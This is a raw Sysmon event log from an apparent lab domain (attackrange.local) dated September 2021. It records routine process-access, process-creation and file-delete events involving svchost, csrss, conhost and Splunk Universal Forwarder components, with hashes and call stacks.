14:54:35.751{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015727Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015726Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015725Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015724Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015723Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015722Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-71AB-613B-E004-00000000F101}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015721Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.751{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71AB-613B-E004-00000000F101}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015720Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.752{625C326B-71AB-613B-E004-00000000F101}3740C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015719Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.501{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=62C8C34EF47B3E09A146C6AA711ABA2A,SHA256=E3D31C5770E7962B2BDF8FFAEA9B76215F8CEB48C8E648326B2DDCF23EE564FD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:35.296{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=948E00E9E43A9A2D8BEEE1A35279CA69,SHA256=6FBF71403FDF3D513329C48A718A866DE86A531F63EEBF86D0378F9212CF911D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015718Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.454{625C326B-71AB-613B-DF04-00000000F101}24561016C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015717Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71AB-613B-DF04-00000000F101}2456C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015716Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015715Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015714Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015713Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015712Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015711Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015710Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015709Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015708Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015707Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-71AB-613B-DF04-00000000F101}2456C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015706Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.220{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-71AB-613B-DF04-00000000F101}2456C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015705Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:35.221{625C326B-71AB-613B-DF04-00000000F101}2456C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015749Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.720{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C0A7DA385D591BE6B38AFC71B58A452,SHA256=4E1A4FDCB18606745B438978F16928EC20CF4F5719F99CDD171F3DB2FF60C8AE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:36.390{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F061EC65A7CDCABBA0D48BDC153BF73A,SHA256=93D0D3EE01F1A7ABE40F5EEC91C43A6D96140C64CA7E5330145EFD2D9ED2DC70,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015748Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71AC-613B-E104-00000000F101}888C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015747Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:36.423{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015746Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 